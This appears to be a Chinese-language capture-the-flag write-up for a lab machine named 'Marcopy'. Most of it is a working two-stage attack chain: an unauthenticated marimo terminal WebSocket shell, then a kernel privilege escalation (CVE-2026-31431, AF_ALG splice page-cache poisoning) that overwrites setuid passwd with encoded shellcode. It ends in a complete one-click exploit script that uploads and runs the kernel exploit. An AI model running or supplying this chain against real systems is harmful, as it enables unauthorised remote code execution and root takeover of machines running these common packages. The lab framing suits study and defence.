Marcopy

靶机信息

项目	内容
IP	192.168.1.10
OS	Debian 13 (trixie)
内核	6.12.73+deb13-amd64
开放端口	22 (SSH), 8080 (HTTP)

漏洞利用链

```
marimo /terminal/ws 认证绕过 → comar shell → user.txt
    ↓
CVE-2026-31431 AF_ALG page cache 污染 → root shell → root.txt
```

一、信息收集

端口扫描

```
nmap -sV -p- --min-rate 1000 192.168.1.10
```

结果：

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0p2 Debian 7+deb13u1
8080/tcp open  http    Uvicorn
```

Web 识别

访问 `http://192.168.1.10:8080` 自动跳转到 `/auth/login`，页面标题为 `marimo`，是一个 Python 交互式 notebook 应用。

登录表单仅需输入 `Access Token / Password`。

目录扫描

```
gobuster dir -u http://192.168.1.10:8080 -w
/usr/share/wordlists/dirb/common.txt
```

发现 `/health` 端点返回 `{"status":"healthy"}`，确认是 marimo 应用。

二、Pre-Auth RCE (user.txt)

漏洞: GHSA-2679-6mx9-h9xc

marimo <= 0.20.4 的 `/terminal/ws` WebSocket 端点缺少认证检查。

正常端点 `/ws` 会调用 `validate_auth()` 做认证校验，但 `/terminal/ws` 仅检查运行模式和终端支持即直接 `accept()` 连接，然后 `pty.fork()` 创建 PTY shell。

该漏洞在 `marimo/_server/api/endpoints/terminal.py` 中：

```
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # No authentication check!
    await websocket.accept()
    child_pid, fd = pty.fork()  # PTY shell!
```

利用

直接连接 WebSocket 即可获取 comar 用户 shell：

```
import websocket

ws = websocket.WebSocket()
ws.connect("ws://192.168.1.10:8080/terminal/ws")
ws.send("id\n")
print(ws.recv())
# uid=1000(comar) gid=1000(comar) groups=1000(comar)
```

获取 user.txt

```
cat /home/comar/user.txt
```

Flag: `flag{user-5b778acf1317511c589119980b43da31522b49240e125c2cd7c86dd7}`

三、提权信息收集

进程命令行泄露密码

```
cat /proc/610/cmdline | tr '\0' ' '
```

输出：

```
/usr/bin/python3 /home/comar/.local/bin/marimo edit --host 0.0.0.0
  --port 8080 --token --token-password=copyfailmario --headless
```

发现 marimo web 登录密码: `copyfailmario`，可登录 marimo 管理界面。

系统环境

- `sudo` 未安装，无 sudo 可利用
- 无 docker 组、无 special capabilities
- SUID 文件均为标准系统二进制 (mount, passwd, chsh, gpasswd, umount, newgrp, chfn)
- 无 crontab 任务
- 无 `/usr/bin/su` (Debian 13 默认不安装)

四、内核提权 (root.txt)

漏洞: CVE-2026-31431 (Copy Fail)

Linux 内核 AF_ALG 加密子系统漏洞，允许通过 `splice()` 系统调用污染目标文件的 page cache，绕过 DAC 权限检查写入任意数据。

原理:

1. 绑定 `authencesn(hmac(sha256),cbc(aes))` 算法套接字
2. 通过 `sendmsg()` 发送包含 shellcode 的 AAD 数据
3. 使用 `splice()` 将目标 SUID 二进制文件的 page cache 作为 AEAD 认证标签送入内核
4. `recv()` 触发解密，authencesn 的 scratch buffer 写入污染 page cache
5. 执行被污染的 SUID 二进制，shellcode 以 root 权限运行

利用

目标 SUID 二进制选择 `/usr/bin/passwd` (setuid root)。

Shellcode 功能: `setuid(0)` → `execve("/bin/sh")` 或执行指定命令。

```
# 核心: 将 shellcode 逐4字节写入 passwd 的 page cache
for i in range(0, len(payload), 4):
    write_4bytes(alg_fd, file_fd, i, payload[i:i+4])

# 执行被污染的 passwd -> shellcode 以 root 运行
subprocess.run(["/usr/bin/passwd", "/bin/bash", "-c", "id; cat
/root/root.txt"])
```

获取 root.txt

```
python3 kernel_exp.py /usr/bin/passwd /bin/bash
```

输出:

```
uid=0(root) gid=1000(comar) groups=1000(comar)
root
flag{root-d75559736ce28a51c0a31468d9ed7e42f1f57e2b486f00be8c60a0d9}
```

Flag: `flag{root-d75559736ce28a51c0a31468d9ed7e42f1f57e2b486f00be8c60a0d9}`

完整攻击脚本

依赖

```
pip install websocket-client
```

一键利用

```
python marcopy_exploit.py
```

脚本源码 (marcopy_exploit.py)

```
#!/usr/bin/env python3
"""
Marcopy CTF Writeup - CVE-2026-31431 (Copy Fail)
================================================
Pre-Auth RCE + Local Privilege Escalation

Attack Chain:
  1. marimo /terminal/ws bypass auth -> comar shell -> user.txt
  2. CVE-2026-31431 AF_ALG page cache poison -> root shell -> root.txt

Usage:
  pip install websocket-client
  python marcopy_exploit.py
"""

import websocket
import time
import subprocess
import os
import re
import base64
import sys

TARGET_IP   = "192.168.1.10"
TARGET_PORT = 8080

# ================================================================
#  Stage 1: Pre-Auth RCE via marimo /terminal/ws
#  GHSA-2679-6mx9-h9xc: marimo <= 0.20.4 terminal WebSocket no auth
# ================================================================

class MarimoShell:
    def __init__(self, host, port):
        self.ws = websocket.WebSocket()
        self.ws.connect(f"ws://{host}:{port}/terminal/ws", timeout=10)
        self.ws.settimeout(1)
        self._drain()

    def _drain(self):
        try:
            while True:
                self.ws.recv()
        except:
            pass

```

```
    def cmd(self, command, wait=2):
        self._drain()
        self.ws.send(command + "\n")
        time.sleep(wait)
        output = []
        self.ws.settimeout(3)
        try:
            while True:
                data = self.ws.recv()
                clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', data)
                clean = re.sub(r'\x1b\][0-9;]*[^\x07]*\x07', '', clean)
                if clean.strip():
                    output.append(clean)
        except:
            pass
        return "".join(output)

    def close(self):
        self.ws.close()


def get_user_flag():
    print("[*] Stage 1: Pre-Auth RCE via /terminal/ws")
    sh = MarimoShell(TARGET_IP, TARGET_PORT)
    raw = sh.cmd("cat /home/comar/user.txt", wait=2)
    flag = ""
    for line in raw.split('\n'):
        if 'flag{' in line:
            flag = re.sub(r'comar@Marcopy.*\$', '', line).strip()
            break
    sh.close()
    print(f"[+] user.txt: {flag}")
    return flag


# ============================================================
#  Stage 2: Kernel Exploit CVE-2026-31431 (Copy Fail)
#  AF_ALG page cache poisoning via authencesn splice
# ============================================================

KERNEL_EXP = r'''#!/usr/bin/env python3
import os, sys, zlib, struct, socket, ctypes, platform
import subprocess

AF_ALG = 38
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
MSG_MORE = 0x8000

PAYLOAD_EXEC = {
    "x86_64":
"789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16
999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b
3020082b00eaf",
```

```
}

libc = ctypes.CDLL("libc.so.6", use_errno=True)

def check_vulnerable():
    try:
        s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
        s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
        s.close()
        return True
    except OSError:
        return False

def alg_set_authsize(sock_fd, size):
    ret = libc.setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None,
size)
    if ret < 0:
        raise OSError(ctypes.get_errno(), os.strerror(ctypes.get_errno()))

def alg_accept(alg_fd):
    ufd = libc.accept(alg_fd, None, None)
    if ufd < 0:
        raise OSError(ctypes.get_errno(), os.strerror(ctypes.get_errno()))
    return ufd

def do_splice(fd_in, off_in, fd_out, off_out, length, flags=0):
    SYS_SPLICE = 275 if platform.machine() == "x86_64" else 76
    p_in = ctypes.byref(ctypes.c_int64(off_in)) if off_in is not None else
None
    p_out = ctypes.byref(ctypes.c_int64(off_out)) if off_out is not None
else None
    ret = libc.syscall(
        ctypes.c_long(SYS_SPLICE),
        ctypes.c_int(fd_in), p_in,
        ctypes.c_int(fd_out), p_out,
        ctypes.c_size_t(length),
        ctypes.c_uint(flags),
    )
    if ret < 0:
        raise OSError(ctypes.get_errno(), os.strerror(ctypes.get_errno()))
    return ret

def write_4bytes(alg_fd, file_fd, offset, chunk):
    ufd = alg_accept(alg_fd)
    try:
        iv_data = bytes([0x10]) + b"\x00" * 19
        sock_u = socket.fromfd(ufd, AF_ALG, socket.SOCK_SEQPACKET)
        try:
            sock_u.sendmsg(
                [b"AAAA" + chunk],
                [
                    (SOL_ALG, ALG_SET_OP, struct.pack("<I", 0)),
                    (SOL_ALG, ALG_SET_IV, iv_data),
                    (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("<I", 8)),
                ],
                MSG_MORE,
            )
        finally:
```

```
            sock_u.detach()
        pr, pw = os.pipe()
        splice_len = offset + 4
        try:
            do_splice(file_fd, 0, pw, None, splice_len)
            do_splice(pr, None, ufd, None, splice_len)
        finally:
            os.close(pr)
            os.close(pw)
        try:
            os.read(ufd, 8 + offset)
        except OSError:
            pass
    finally:
        os.close(ufd)

def run(target, exec_cmd):
    if not check_vulnerable():
        sys.exit(1)
    arch = platform.machine()
    payload = zlib.decompress(bytes.fromhex(PAYLOAD_EXEC[arch]))
    alg = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
    alg.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    alg.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex("0800010000000010" +
"00" * 32))
    alg_set_authsize(alg.fileno(), 4)
    file_fd = os.open(target, os.O_RDONLY)
    total = len(payload)
    for i in range(0, total, 4):
        write_4bytes(alg.fileno(), file_fd, i, payload[i:i+4])
    os.close(file_fd)
    alg.close()
    result = subprocess.run([target, exec_cmd], capture_output=True,
text=True)
    print(result.stdout)
    if result.stderr:
        print(result.stderr, file=sys.stderr)

if __name__ == "__main__":
    run(sys.argv[1], sys.argv[2])
'''


def get_root_flag():
    print("\n[*] Stage 2: Uploading kernel exploit (CVE-2026-31431)")

    sh = MarimoShell(TARGET_IP, TARGET_PORT)

    encoded = base64.b64encode(KERNEL_EXP.encode()).decode()
    lines = [encoded[i:i+76] for i in range(0, len(encoded), 76)]

    sh.cmd("rm -f /tmp/exp.b64 /tmp/kernel_exp.py")
    for i, line in enumerate(lines):
        op = ">" if i == 0 else ">>"
        sh.cmd(f"echo '{line}' {op} /tmp/exp.b64", wait=0.3)
    sh.cmd("base64 -d /tmp/exp.b64 > /tmp/kernel_exp.py")

    print("[*] Running kernel exploit (AF_ALG page cache poisoning)")
```

```
    raw = sh.cmd("python3 /tmp/kernel_exp.py /usr/bin/passwd /bin/bash -c 'id; cat /root/root.txt'", wait=5)

    flag = ""
    for line in raw.split('\n'):
        if 'flag{root-' in line:
            flag = re.sub(r'comar@Marcopy.*\$', '', line).strip()
            break

    sh.close()
    print(f"[+] root.txt: {flag}")
    return flag


# ================================================================
#  Main
# ================================================================

def main():
    print("=" * 55)
    print("  Marcopy CTF - CVE-2026-31431 (Copy Fail)")
    print("=" * 55)

    user_flag = get_user_flag()
    root_flag = get_root_flag()

    print("\n" + "=" * 55)
    print(f"  user.txt: {user_flag}")
    print(f"  root.txt: {root_flag}")
    print("=" * 55)


if __name__ == "__main__":
    main()
```

参考资料

- CVE-2026-31431 - Copy Fail
- GHSA-2679-6mx9-h9xc - marimo Pre-Auth RCE

opencode -s ses_0ce0170f6ffes65K95c1akD8KW